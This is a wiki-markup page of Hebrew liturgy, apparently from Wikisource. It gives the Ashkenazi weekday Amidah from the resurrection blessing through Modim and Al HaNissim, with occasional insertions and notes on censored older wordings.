{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=מי כמוך/&gt;מִי כָמוֹךָ אַב הָרַחֲמִים, זוֹכֵר יְצוּרָיו לְחַיִּים בְּרַחֲמִים. &lt;קטע סוף=מי כמוך/&gt;{{סוף}}
&lt;קטע התחלה=ב ונאמן/&gt;וְנֶאֱמָן אַתָּה לְהַחֲיוֹת מֵתִים. &lt;קטע סוף=ב ונאמן/&gt;&lt;קטע התחלה=ב ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְחַיֵּה הַמֵּתִים. &lt;קטע סוף=ב ת/&gt;&lt;קטע התחלה=ג כ/&gt;

===קדושת השם===
&lt;קטע סוף=ג כ/&gt;{{רקע אפור|צבע=#D9E2F3}}{{הור|בחזרת הש&quot;ץ אומרים כאן קדושה:}}{{ש}}&lt;קטע התחלה=נקדש/&gt;נְקַדֵּשׁ אֶת שִׁמְךָ בָּעוֹלָם, כְּשֵׁם שֶׁמַּקְדִּישִׁים אוֹתוֹ בִּשְׁמֵי מָרוֹם. &lt;קטע סוף=נקדש/&gt;&lt;קטע התחלה=ככתוב/&gt;כַּכָּתוּב עַל יַד נְבִיאֶךָ, וְקָרָא זֶה אֶל זֶה וְאָמַר: {{ש}}&lt;קטע סוף=ככתוב/&gt;&lt;קטע התחלה=קדוש/&gt;'''קָדוֹשׁ קָדוֹשׁ קָדוֹשׁ יְיָ צְבָאוֹת, מְלֹא כָל הָאָרֶץ כְּבוֹדוֹ׃'''{{ממס|ישעיהו ו ג}}{{ש}}&lt;קטע סוף=קדוש/&gt;&lt;קטע התחלה=לעומתם/&gt;לְעֻמָּתָם בָּרוּךְ יֹאמֵרוּ:{{ש}}&lt;קטע סוף=לעומתם/&gt;&lt;קטע התחלה=ברוך/&gt;'''בָּרוּךְ כְּבוֹד יְיָ מִמְּקוֹמוֹ׃'''{{ממס|יחזקאל ג יב}}{{ש}}&lt;קטע סוף=ברוך/&gt;&lt;קטע התחלה=ובדברי/&gt;וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}&lt;קטע סוף=ובדברי/&gt;&lt;קטע התחלה=ימלוך/&gt;'''יִמְלֹךְ יְיָ לְעוֹלָם, אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃'''{{ממס|תהלים קמו י}}&lt;קטע סוף=ימלוך/&gt;{{ש}}&lt;קטע התחלה=לדור/&gt;לְדֹר וָדֹר נַגִּיד גָּדְלֶךָ, וּלְנֵצַח נְצָחִים קְדֻשָּׁתְךָ נַקְדִּישׁ, וְשִׁבְחֲךָ אֱלֹהֵינוּ מִפִּינוּ לֹא יָמוּשׁ לְעוֹלָם וָעֶד, כִּי אֵל מֶלֶךְ גָּדוֹל וְקָדוֹשׁ אָתָּה. &lt;קטע סוף=לדור/&gt;בָּרוּךְ אַתָּה יְיָ, הָאֵל הַקָּדוֹשׁ. {{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַקָּדוֹשׁ.}}{{סוף}}
&lt;קטע התחלה=ג א/&gt;אַתָּה קָדוֹשׁ וְשִׁמְךָ קָדוֹשׁ, וּקְדוֹשִׁים בְּכָל יוֹם יְהַלְלוּךָ סֶּלָה. &lt;קטע סוף=ג א/&gt;&lt;קטע התחלה=ג ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָאֵל הַקָּדוֹשׁ. &lt;קטע סוף=ג ת/&gt;{{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַקָּדוֹשׁ.}}&lt;קטע התחלה=ד כ/&gt;

===חונן הדעת===
&lt;קטע סוף=ד כ/&gt;&lt;קטע התחלה=ד א/&gt;אַתָּה חוֹנֵן לְאָדָם דַּעַת, וּמְלַמֵּד לֶאֱנוֹשׁ בִּינָה. &lt;קטע סוף=ד א/&gt;
{{רקע אפור}}{{הור|במוצאי שבת:}}{{ש}}&lt;קטע התחלה=אתה חוננתנו/&gt;אַתָּה חוֹנַנְתָּנוּ לְמַדַּע תּוֹרָתֶךָ, וַתְּלַמְּדֵנוּ לַעֲשׂוֹת חֻקֵּי רְצוֹנֶךָ, וַתַּבְדֵל יְיָ אֱלֹהֵינוּ בֵּין קֹדֶשׁ לְחוֹל, בֵּין אוֹר לְחֹשֶׁךְ, בֵּין יִשְׂרָאֵל לָעַמִּים, בֵּין יוֹם הַשְּׁבִיעִי לְשֵׁשֶׁת יְמֵי הַמַּעֲשֶׂה. אָבִינוּ מַלְכֵּנוּ, הָחֵל עָלֵינוּ הַיָּמִים הַבָּאִים לִקְרָאתֵינוּ לְשָׁלוֹם, חֲשׂוּכִים מִכָּל חֵטְא, וּמְנֻקִּים מִכָּל עָוֹן, וּמְדֻבָּקִים בְּיִרְאָתֶךָ. וְ&lt;קטע סוף=אתה חוננתנו/&gt;חָנֵּנוּ…{{סוף}}
&lt;קטע התחלה=ד חננו/&gt;חָנֵּנוּ מֵאִתְּךָ דֵּעָה בִּינָה וְהַשְׂכֵּל. &lt;קטע סוף=ד חננו/&gt;&lt;קטע התחלה=ד ת/&gt;בָּרוּךְ אַתָּה יְיָ, חוֹנֵן הַדָּעַת. &lt;קטע סוף=ד ת/&gt;&lt;קטע התחלה=ה כ/&gt;
===תשובה===
&lt;קטע סוף=ה כ/&gt;&lt;קטע התחלה=ה א/&gt;הֲשִׁיבֵנוּ אָבִינוּ לְתוֹרָתֶךָ, וְקָרְבֵנוּ מַלְכֵּנוּ לַעֲבוֹדָתֶךָ, וְהַחֲזִירֵנוּ בִתְשׁוּבָה שְׁלֵמָה לְפָנֶיךָ. &lt;קטע סוף=ה א/&gt;&lt;קטע התחלה=ה ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָרוֹצֶה בִתְשׁוּבָה. &lt;קטע סוף=ה ת/&gt;&lt;קטע התחלה=ו כ/&gt;
===סליחה===
&lt;קטע סוף=ו כ/&gt;&lt;קטע התחלה=ו א/&gt;סְלַח לָנוּ אָבִינוּ כִּי חָטָאנוּ, מְחַל לָנוּ מַלְכֵּנוּ כִּי פָשָׁעְנוּ. &lt;קטע סוף=ו א/&gt;
&lt;קטע התחלה=ו כי/&gt;כִּי מוֹחֵל וְסוֹלֵחַ אָתָּה. &lt;קטע סוף=ו כי/&gt;{{הור|בקצת קהילות, בתענית ציבור אומרים כאן סליחות בחזרת הש&quot;ץ&lt;noinclude&gt; של שחרית&lt;/noinclude&gt;}} &lt;קטע התחלה=ו ת/&gt;בָּרוּךְ אַתָּה יְיָ, חַנּוּן הַמַּרְבֶּה לִסְלֹחַ. &lt;קטע סוף=ו ת/&gt;&lt;קטע התחלה=ז כ/&gt;
===גאולה===
&lt;קטע סוף=ז כ/&gt;&lt;קטע התחלה=ז א/&gt;רְאֵה {{ק|[נָא]}} בְעָנְיֵנוּ וְרִיבָה רִיבֵנוּ, וּגְאָלֵנוּ מְהֵרָה לְמַעַן שְׁמֶךָ, כִּי גוֹאֵל חָזָק אָתָּה. &lt;קטע סוף=ז א/&gt;&lt;קטע התחלה=ז ת/&gt;בָּרוּךְ אַתָּה יְיָ, גּוֹאֵל יִשְׂרָאֵל. &lt;קטע סוף=ז ת/&gt;{{רקע אפור}}&lt;קטע התחלה=עננו כ/&gt;
===עננו===
&lt;קטע סוף=עננו כ/&gt;{{הור|בחזרת הש&quot;ץ בתענית ציבור:}}{{ש}}&lt;קטע התחלה=עננו א/&gt;עֲנֵנוּ יְיָ עֲנֵנוּ בְּיוֹם צוֹם תַּעֲנִיתֵנוּ, כִּי בְצָרָה גְדוֹלָה אֲנָחְנוּ. אַל תֵּפֶן אֶל רִשְׁעֵנוּ, וְאַל תַּסְתֵּר פָּנֶיךָ מִמֶּנּוּ, וְאַל תִּתְעַלַּם מִתְּחִנָּתֵנוּ. הֱיֵה נָא קָרוֹב לְשַׁוְעָתֵנוּ, יְהִי חַסְדְּךָ לְנַחֲמֵנוּ, טֶרֶם נִקְרָא אֵלֶיךָ עֲנֵנוּ. כַּדָּבָר שֶׁנֶּאֱמַר: וְהָיָה טֶרֶם יִקְרָאוּ וַאֲנִי אֶעֱנֶה, עוֹד הֵם מְדַבְּרִים וַאֲנִי אֶשְׁמָע׃{{ממס|ישעיהו סה כד}} כִּי אַתָּה יְיָ הָעוֹנֶה בְּעֵת צָרָה, פּוֹדֶה וּמַצִּיל בְּכָל עֵת צָרָה וְצוּקָה. &lt;קטע סוף=עננו א/&gt;&lt;קטע התחלה=עננו ת/&gt;בָּרוּךְ אַתָּה יְיָ, הָעוֹנֶה בְּעֵת צָרָה.&lt;קטע סוף=עננו ת/&gt;{{סוף}}&lt;קטע התחלה=ח כ/&gt;
===רפואה===
&lt;קטע סוף=ח כ/&gt;&lt;קטע התחלה=ח א/&gt;רְפָאֵנוּ יְיָ וְנֵרָפֵא, הוֹשִׁיעֵנוּ וְנִוָּשֵׁעָה, כִּי תְהִלָּתֵנוּ אָתָּה. וְהַעֲלֵה רְפוּאָה שְׁלֵמָה לְכָל מַכּוֹתֵינוּ.&lt;קטע סוף=ח א/&gt;
{{רקע אפור}}{{הור|תפילה על חולה:}}{{ש}}{{ק|יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֱלֹהַי וֵאלֹהֵי אֲבוֹתַי, שֶׁתִּשְׁלַח מְהֵרָה רְפוּאָה שְׁלֵמָה מִן הַשָּׁמַיִם, רְפוּאַת הַנֶּפֶשׁ וּרְפוּאַת הַגּוּף, לַחוֹלֶה/לַחוֹלָה {{פבפ|זנ|נ}} בְּתוֹךְ שְׁאָר חוֹלֵי יִשְׂרָאֵל.}}{{סוף}}
&lt;קטע התחלה=ח כי/&gt;כִּי אֵל מֶלֶךְ רוֹפֵא נֶאֱמָן וְרַחֲמָן אָתָּה. &lt;קטע סוף=ח כי/&gt;&lt;קטע התחלה=ח ת/&gt;בָּרוּךְ אַתָּה יְיָ, רוֹפֵא חוֹלֵי עַמּוֹ יִשְׂרָאֵל. &lt;קטע סוף=ח ת/&gt;&lt;קטע התחלה=ט כ/&gt;

===ברכת השנים===
&lt;קטע סוף=ט כ/&gt;&lt;קטע התחלה=ט א/&gt;בָּרֵךְ עָלֵינוּ יְיָ אֱלֹהֵינוּ אֶת הַשָּׁנָה הַזֹּאת וְאֶת כָּל מִינֵי תְבוּאָתָהּ לְטוֹבָה. וְתֵן &lt;קטע סוף=ט א/&gt;{{ש}}
{{הור|בקיץ:}} &lt;קטע התחלה=ט קיץ/&gt;בְּרָכָה &lt;קטע סוף=ט קיץ/&gt; {{הור|בחורף:}} &lt;קטע התחלה=ט חורף/&gt;טַל וּמָטָר לִבְרָכָה &lt;קטע סוף=ט חורף/&gt;{{ש}}
&lt;קטע התחלה=ט על פני/&gt;עַל פְּנֵי הָאֲדָמָה, וְשַׂבְּעֵנוּ מִטּוּבֶךָ {{נוא|מִטּוּבָהּ}}&lt;noinclude&gt;{{הערה|הנוסח הישן &quot;מִטּוּבָךְ&quot;}}&lt;/noinclude&gt;, וּבָרֵךְ שְׁנָתֵנוּ כַּשָּׁנִים הַטּוֹבוֹת. &lt;קטע סוף=ט על פני/&gt;&lt;קטע התחלה=ט ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְבָרֵךְ הַשָּׁנִים. &lt;קטע סוף=ט ת/&gt;&lt;קטע התחלה=י כ/&gt;

===קיבוץ גלויות===
&lt;קטע סוף=י כ/&gt;&lt;קטע התחלה=י א/&gt;תְּקַע בְּשׁוֹפָר גָּדוֹל לְחֵרוּתֵנוּ, וְשָׂא נֵס לְקַבֵּץ גָּלֻיּוֹתֵינוּ, וְקַבְּצֵנוּ יַחַד מֵאַרְבַּע כַּנְפוֹת הָאָרֶץ. &lt;קטע סוף=י א/&gt;&lt;קטע התחלה=י ת/&gt;בָּרוּךְ אַתָּה יְיָ, מְקַבֵּץ נִדְחֵי עַמּוֹ יִשְׂרָאֵל. &lt;קטע סוף=י ת/&gt;&lt;קטע התחלה=יא כ/&gt;
===משפט===
&lt;קטע סוף=יא כ/&gt;&lt;קטע התחלה=יא א/&gt;הָשִׁיבָה שׁוֹפְטֵינוּ כְּבָרִאשׁוֹנָה, וְיוֹעֲצֵינוּ כְּבַתְּחִלָּה. וְהָסֵר מִמֶּנוּ יָגוֹן וַאֲנָחָה. וּמְלֹךְ עָלֵינוּ אַתָּה יְיָ לְבַדְּךָ, בְּחֶסֶד וּבְרַחֲמִים, וְצַדְּקֵנוּ בַּמִּשְׁפָּט. &lt;קטע סוף=יא א/&gt;&lt;קטע התחלה=יא ת/&gt;בָּרוּךְ אַתָּה יְיָ, מֶלֶךְ אוֹהֵב צְדָקָה וּמִשְׁפָּט. &lt;קטע סוף=יא ת/&gt;{{הור1|בעשי&quot;ת|הַמֶּלֶךְ הַמִּשְׁפָּט.}}&lt;קטע התחלה=יב כ/&gt;
===ברכת המינים===
&lt;קטע סוף=יב כ/&gt;&lt;קטע התחלה=יב א/&gt;וְלַמַּלְשִׁינִים אַל תְּהִי תִקְוָה, וְכָל הָרִשְׁעָה כְּרֶגַע תֹּאבֵד, וְכָל אֹיְבֶיךָ מְהֵרָה יִכָּרֵתוּ, וְהַזֵּדִים מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִיעַ בִּמְהֵרָה בְיָמֵינוּ.{{הערה|נוסח ישן (השתנה בשל צנזורה): '''&lt;noinclude&gt;(&lt;/noinclude&gt;וְ&lt;noinclude&gt;)&lt;/noinclude&gt;לַמְּשֻׁמָּדִים''' אַל תְּהִי תִקְוָה, וְכָל '''הַמִּינִים''' כְּרֶֽגַע יֹאבֵֽדוּ, וְכָל '''אוֹיְבֵי עַמְּךָ''' מְהֵרָה יִכָּרֵֽתוּ, '''וּמַלְכוּת זָדוֹן''' מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִֽיעַ בִּמְהֵרָה בְיָמֵֽינוּ.&lt;noinclude&gt;{{ש}}
נוסח מצונזר בדפוס רעדלהיים: וְלַמַּלְשִׁינִים אַל תְּהִי תִקְוָה, וְכָל '''עוֹשֵׂי רִשְׁעָה כְּרֶֽגַע יֹאבֵֽדוּ''', '''וְכֻלָּם מְהֵרָה יִכָּרֵֽתוּ''', וְהַזֵּדִים מְהֵרָה תְעַקֵּר וּתְשַׁבֵּר וּתְמַגֵּר וְתַכְנִֽיעַ בִּמְהֵרָה בְיָמֵֽינוּ.&lt;/noinclude&gt;}} &lt;קטע סוף=יב א/&gt;&lt;קטע התחלה=יב ת/&gt;בָּרוּךְ אַתָּה יְיָ, שׁוֹבֵר אוֹיְבִים וּמַכְנִיעַ זֵדִים. &lt;קטע סוף=יב ת/&gt;&lt;קטע התחלה=יג כ/&gt;

===על הצדיקים===
&lt;קטע סוף=יג כ/&gt;&lt;קטע התחלה=יג א/&gt;עַל הַצַּדִּיקִים וְעַל הַחֲסִידִים וְעַל זִקְנֵי עַמְּךָ בֵּית יִשְׂרָאֵל וְעַל פְּלֵיטַת סוֹפְרֵיהֶם וְעַל גֵּרֵי הַצֶּדֶק וְעָלֵינוּ, יֶהֱמוּ רַחֲמֶיךָ יְיָ אֱלֹהֵינוּ, וְתֵן שָׂכָר טוֹב לְכָל הַבּוֹטְחִים בְּשִׁמְךָ בֶּאֱמֶת, וְשִׂים חֶלְקֵנוּ עִמָּהֶם לְעוֹלָם, וְלֹא נֵבוֹשׁ כִּי בְךָ בָטָחְנוּ. &lt;קטע סוף=יג א/&gt;&lt;קטע התחלה=יג ת/&gt;בָּרוּךְ אַתָּה יְיָ, מִשְׁעָן וּמִבְטָח לַצַּדִּיקִים. &lt;קטע סוף=יג ת/&gt;&lt;קטע התחלה=יד כ/&gt;
===ולירושלים===
&lt;קטע סוף=יד כ/&gt;&lt;קטע התחלה=יד א/&gt;וְלִירוּשָׁלַיִם עִירְךָ בְּרַחֲמִים תָּשׁוּב, וְתִשְׁכֹּן בְּתוֹכָהּ כַּאֲשֶׁר דִּבַּרְתָּ, וּבְנֵה אוֹתָהּ בְּקָרוֹב בְּיָמֵינוּ בִּנְיַן עוֹלָם, וְכִסֵּא דָוִד מְהֵרָה לְתוֹכָהּ תָּכִין. &lt;קטע סוף=יד א/&gt;
{{רקע אפור}}{{הור|במנחה של תשעה באב:}}{{ש}}&lt;קטע התחלה=נחם/&gt;נַחֵם יְיָ אֱלֹהֵינוּ אֶת אֲבֵלֵי צִיּוֹן וְאֶת אֲבֵלֵי יְרוּשָׁלַיִם, וְאֶת הָעִיר הָאֲבֵלָה וְהַחֲרֵבָה וְהַבְּזוּיָה וְהַשּׁוֹמֵמָה. הָאֲבֵלָה מִבְּלִי בָנֶיהָ, וְהַחֲרֵבָה מִמְּעוֹנוֹתֶיהָ, וְהַבְּזוּיָה מִכְּבוֹדָהּ, וְהַשּׁוֹמֵמָה מֵאֵין יוֹשֵׁב. וְהִיא יוֹשֶׁבֶת וְרֹאשָׁהּ חָפוּי, כְּאִשָּׁה עֲקָרָה שֶׁלֹּא יָלָדָה. וַיְבַלְּעוּהָ לִגְיוֹנוֹת, וַיִּירָשׁוּהָ עוֹבְדֵי פְסִילִים, וַיָּטִילוּ אֶת עַמְּךָ יִשְׂרָאֵל לֶחָרֶב, וַיַּהַרְגוּ בְזָדוֹן חֲסִידֵי עֶלְיוֹן. עַל כֵּן צִיּוֹן בְּמַר תִּבְכֶּה, וִירוּשָׁלַיִם תִּתֵּן קוֹלָהּ. לִבִּי לִבִּי עַל חַלְלֵיהֶם, מֵעַי מֵעַי עַל חַלְלֵיהֶם. כִּי אַתָּה יְיָ בָּאֵשׁ הִצַּתָּהּ, וּבָאֵשׁ אַתָּה עָתִיד לִבְנוֹתָהּ, כָּאָמוּר: וַאֲנִי אֶהְיֶה לָהּ נְאֻם יְיָ חוֹמַת אֵשׁ סָבִיב, וּלְכָבוֹד אֶהְיֶה בְּתוֹכָהּ׃{{ממס|זכריה ב ט}} בָּרוּךְ אַתָּה יְיָ, '''מְנַחֵם צִיּוֹן וּבוֹנֵה יְרוּשָׁלָיִם'''.&lt;קטע סוף=נחם/&gt;{{סוף}}&lt;קטע התחלה=יד ת/&gt;בָּרוּךְ אַתָּה יְיָ, בּוֹנֵה יְרוּשָׁלָיִם. &lt;קטע סוף=יד ת/&gt;&lt;קטע התחלה=טו כ/&gt;
===את צמח דוד===
&lt;קטע סוף=טו כ/&gt;&lt;קטע התחלה=טו א/&gt;אֶת צֶמַח דָּוִד עַבְדְּךָ מְהֵרָה תַצְמִיחַ, וְקַרְנוֹ תָּרוּם בִּישוּעָתֶךָ. כִּי לִישׁוּעָתְךָ קִוִּינוּ כָּל הַיּוֹם. &lt;קטע סוף=טו א/&gt;&lt;קטע התחלה=טו ת/&gt;בָּרוּךְ אַתָּה יְיָ, מַצְמִיחַ קֶרֶן יְשׁוּעָה. &lt;קטע סוף=טו ת/&gt;&lt;קטע התחלה=טז כ/&gt;
===שומע תפילה===
&lt;קטע סוף=טז כ/&gt;&lt;קטע התחלה=טז א/&gt;שְׁמַע קוֹלֵנוּ יְיָ אֱלֹהֵינוּ, חוּס וְרַחֵם עָלֵינוּ, וְקַבֵּל בְּרַחֲמִים וּבְרָצוֹן אֶת תְּפִלָּתֵנוּ, כִּי אֵל שׁוֹמֵעַ תְּפִלּוֹת וְתַחֲנוּנִים אָתָּה. וּמִלְּפָנֶיךָ מַלְכֵּנוּ רֵיקָם אַל תְּשִׁיבֵנוּ.&lt;קטע סוף=טז א/&gt;
{{רקע אפור}}{{הור|בתפילת לחש במנחה של תענית ציבור:}}{{ש}}&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|עננו א}}&lt;/noinclude&gt;

{{הור|בזמן עצירת גשמים בארץ ישראל:}}{{ש}}
&lt;קטע התחלה=ועננו/&gt;וַעֲנֵנוּ בּוֹרֵא עוֹלָם בְּמִדַּת רַחֲמֶיךָ, בּוֹחֵר בְּעַמּוֹ יִשְׂרָאֵל לְהוֹדִיעַ גָּדְלוֹ וְהַדְרַת כְּבוֹדוֹ. שׁוֹמֵעַ תְּפִלָּה, תֵּן טַל וּמָטָר לִבְרָכָה עַל פְּנֵי הָאֲדָמָה, וְשַׂבַּע אֶת הָעוֹלָם כֻּלּוֹ מִטּוּבֶךָ, וּמַלֵּא יָדֵינוּ מִבִּרְכוֹתֶיךָ וּמֵעֹשֶׁר מַתְּנַת יָדֶךָ. שָׁמְרָה וְהַצִּילָה שָׁנָה זוֹ מִכָּל דָּבָר רָע, וּמִכֹּל מִינֵי מַשְׁחִית וּמִכָּל מִינֵי פֻרְעָנוּת, וַעֲשֵׂה לָהּ תִּקְוָה וְאַחֲרִית שָׁלוֹם. חוּס וְרַחֵם עָלֵינוּ וְעַל כָּל תְּבוּאָתָהּ וּפֵרוֹתֶיהָ, וּבָרְכָהּ בְּגִשְׁמֵי רָצוֹן, בְּרָכָה וּנְדָבָה וְחַיִּים וָשֹׂבַע וְשָׁלוֹם, כַּשָּׁנִים הַטּוֹבוֹת. וְהָסֵר מִמֶּנּוּ דֶּבֶר וְחֶרֶב וְרָעָב, וְחַיָּה רָעָה וּשְׁבִי וּבִזָּה, וְיֵצֶר הָרָע, וָחֳלָיִם רָעִים וְקָשִׁים וּמְאֹרָעוֹת רָעוֹת וְקָשׁוֹת. וּגְזֹר עָלֵינוּ גְּזֵרוֹת טוֹבוֹת מִלְּפָנֶיךָ, וְיָגֹלּוּ רַחֲמֶיךָ עַל מִדּוֹתֶיךָ וְתִתְנַהֵג עִם בָּנֶיךָ בְּמִדַּת רַחֲמִים, וְקַבֵּל בְּרַחֲמִים וּבְרָצוֹן אֶת תְּפִלָּתֵנוּ. &lt;קטע סוף=ועננו/&gt;{{סוף}}
&lt;קטע התחלה=טז כי/&gt;כִּי אַתָּה שׁוֹמֵעַ תְּפִלַּת עַמְּךָ יִשְׂרָאֵל בְּרַחֲמִים. &lt;קטע סוף=טז כי/&gt;&lt;קטע התחלה=טז ת/&gt;בָּרוּךְ אַתָּה יְיָ, שׁוֹמֵעַ תְּפִלָּה. &lt;קטע סוף=טז ת/&gt;&lt;קטע התחלה=יז כ/&gt;

===עבודה===
&lt;קטע סוף=יז כ/&gt;&lt;קטע התחלה=יז א/&gt;רְצֵה יְיָ אֱלֹהֵינוּ בְּעַמְּךָ יִשְׂרָאֵל וּבִתְפִלָּתָם, וְהָשֵׁב אֶת הָעֲבוֹדָה לִדְבִיר בֵּיתֶךָ, וְאִשֵּׁי יִשְׂרָאֵל וּתְפִלָּתָם בְּאַהֲבָה תְקַבֵּל בְּרָצוֹן, וּתְהִי לְרָצוֹן תָּמִיד עֲבוֹדַת יִשְׂרָאֵל עַמֶּךָ. &lt;קטע סוף=יז א/&gt;
{{רקע אפור}}{{הור|בראש חודש ובחול המועד:}}{{ש}}{{יעלה ויבוא אשכנז|יום=חודש ומועד}}{{סוף}}
&lt;קטע התחלה=יז ותחזינה/&gt;וְתֶחֱזֶינָה עֵינֵינוּ בְּשׁוּבְךָ לְצִיּוֹן בְּרַחֲמִים. &lt;קטע סוף=יז ותחזינה/&gt;&lt;קטע התחלה=יז ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַמַּחֲזִיר שְׁכִינָתוֹ לְצִיּוֹן.&lt;קטע סוף=יז ת/&gt;&lt;קטע התחלה=יח כ/&gt;
===הודאה===
&lt;קטע סוף=יח כ/&gt;&lt;קטע התחלה=יח א/&gt;מוֹדִים אֲנַחְנוּ לָךְ, שָׁאַתָּה הוּא יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ לְעוֹלָם וָעֶד, צוּר חַיֵּינוּ מָגֵן יִשְׁעֵנוּ אַתָּה הוּא לְדֹר וָדֹר. נוֹדֶה לְּךָ וּנְסַפֵּר תְּהִלָּתֶךָ, עַל חַיֵּינוּ הַמְּסוּרִים בְּיָדֶךָ, וְעַל נִשְׁמוֹתֵינוּ הַפְּקוּדוֹת לָךְ, וְעַל נִסֶּיךָ שֶׁבְּכָל יוֹם עִמָּנוּ, וְעַל נִפְלְאוֹתֶיךָ וְטוֹבוֹתֶיךָ שֶׁבְּכָל עֵת, עֶרֶב וָבֹקֶר וְצָהֳרָיִם. הַטּוֹב כִּי לֹא כָלוּ רַחֲמֶיךָ, וְהַמְרַחֵם כִּי לֹא תַמּוּ חֲסָדֶיךָ, מֵעוֹלָם קִוִּינוּ לָךְ. &lt;קטע סוף=יח א/&gt;
{{רקע אפור|צבע=#D9E2F3}}{{הור|בחזרת הש&quot;ץ, הקהל אומר:}}{{ש}}&lt;קטע התחלה=מודים דרבנן/&gt;מוֹדִים אֲנַחְנוּ לָךְ, שָׁאַתָּה הוּא יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, אֱלֹהֵי כָל בָּשָׂר, יוֹצְרֵנוּ יוֹצֵר בְּרֵאשִׁית. בְּרָכוֹת וְהוֹדָאוֹת לְשִׁמְךָ הַגָּדוֹל וְהַקָּדוֹשׁ, עַל שֶׁהֶחֱיִיתָנוּ וְקִיַּמְתָּנוּ. כֵּן תְּחַיֵּנוּ וּתְקַיְּמֵנוּ, וְתֶאֱסֹף גָּלֻיּוֹתֵינוּ לְחַצְרוֹת קָדְשֶׁךָ, לִשְׁמֹר חֻקֶּיךָ וְלַעֲשׂוֹת רְצוֹנֶךָ וּלְעָבְדְּךָ בְּלֵבָב שָׁלֵם, עַל שֶׁאֲנַחְנוּ מוֹדִים לָךְ, בָּרוּךְ אֵל הַהוֹדָאוֹת. &lt;קטע סוף=מודים דרבנן/&gt;{{סוף}}
{{רקע אפור}}
{{הור|בחנוכה:}}{{ש}}&lt;קטע התחלה=על הנסים/&gt;עַל הַנִּסִּים וְעַל הַפֻּרְקָן וְעַל הַגְּבוּרוֹת וְעַל הַתְּשׁוּעוֹת וְעַל הַמִּלְחָמוֹת שֶׁעָשִׂיתָ לַאֲבוֹתֵינוּ בַּיָּמִים הָהֵם בַּזְּמַן הַזֶּה, &lt;קטע סוף=על הנסים/&gt;&lt;קטע התחלה=בימי מתתיהו/&gt;בִּימֵי מַתִּתְיָהוּ בֶן יוֹחָנָן כֹּהֵן גָּדוֹל חַשְׁמוֹנָאִי וּבָנָיו, כְּשֶׁעָמְדָה מַלְכוּת יָוָן הָרְשָׁעָה עַל עַמְּךָ יִשְׂרָאֵל לְהַשְׁכִּיחָם תּוֹרָתֶךָ וּלְהַעֲבִירָם מֵחֻקֵּי רְצוֹנֶךָ. וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים עָמַדְתָּ לָהֶם בְּעֵת צָרָתָם, רַבְתָּ אֶת רִיבָם, דַּנְתָּ אֶת דִּינָם, נָקַמְתָּ אֶת נִקְמָתָם. מָסַרְתָּ גִבּוֹרִים בְּיַד חַלָּשִׁים וְרַבִּים בְּיַד מְעַטִּים וּטְמֵאִים בְּיַד טְהוֹרִים וּרְשָׁעִים בְּיַד צַדִּיקִים וְזֵדִים בְּיַד עוֹסְקֵי תוֹרָתֶךָ. וּלְךָ עָשִׂיתָ שֵׁם גָּדוֹל וְקָדוֹשׁ בְּעוֹלָמֶךָ, וּלְעַמְּךָ יִשְׂרָאֵל עָשִׂיתָ תְּשׁוּעָה גְדוֹלָה וּפֻרְקָן כְּהַיּוֹם הַזֶּה. וְאַחַר כָּךְ בָּאוּ בָנֶיךָ לִדְבִיר בֵּיתֶךָ, וּפִנּוּ אֶת הֵיכָלֶךָ וְטִהֲרוּ אֶת מִקְדָּשֶׁךָ, וְהִדְלִיקוּ נֵרוֹת בְּחַצְרוֹת קָדְשֶׁךָ, וְקָבְעוּ שְׁמוֹנַת יְמֵי חֲנֻכָּה אֵלּוּ לְהוֹדוֹת וּלְהַלֵּל לְשִׁמְךָ הַגָּדוֹל.&lt;קטע סוף=בימי מתתיהו/&gt;

{{הור|בפורים:}}{{ש}}עַל הַנִּסִּים וְעַל הַפֻּרְקָן וְעַל הַגְּבוּרוֹת וְעַל הַתְּשׁוּעוֹת וְעַל הַמִּלְחָמוֹת שֶׁעָשִׂיתָ לַאֲבוֹתֵינוּ בַּיָּמִים הָהֵם בַּזְּמַן הַזֶּה, &lt;קטע התחלה=בימי מרדכי/&gt;בִּימֵי מָרְדְּכַי וְאֶסְתֵּר בְּשׁוּשַׁן הַבִּירָה, כְּשֶׁעָמַד עֲלֵיהֶם הָמָן הָרָשָׁע, בִּקֵּשׁ לְהַשְׁמִיד לַהֲרֹג וּלְאַבֵּד אֶת כָּל הַיְּהוּדִים, מִנַּעַר וְעַד זָקֵן, טַף וְנָשִׁים, בְּיוֹם אֶחָד, בִּשְׁלוֹשָׁה עָשָׂר לְחֹדֶשׁ שְׁנֵים עָשָׂר הוּא חֹדֶשׁ אֲדָר, וּשְׁלָלָם לָבוֹז.{{ממס|לפני=מתוך|אסתר ג יג}} וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים הֵפַרְתָּ אֶת עֲצָתוֹ, וְקִלְקַלְתָּ אֶת מַחֲשַׁבְתּוֹ, וַהֲשֵׁבֹתָ לוֹ גְּמוּלוֹ בְרֹאשׁוֹ, וְתָלוּ אוֹתוֹ וְאֶת בָּנָיו עַל הָעֵץ.&lt;קטע סוף=בימי מרדכי/&gt;{{סוף}}
&lt;קטע התחלה=יח ועל/&gt;וְעַל כֻּלָּם, יִתְבָּרַךְ וְיִתְרוֹמַם שִׁמְךָ מַלְכֵּנוּ תָּמִיד, לְעוֹלָם וָעֶד. &lt;קטע סוף=יח ועל/&gt;
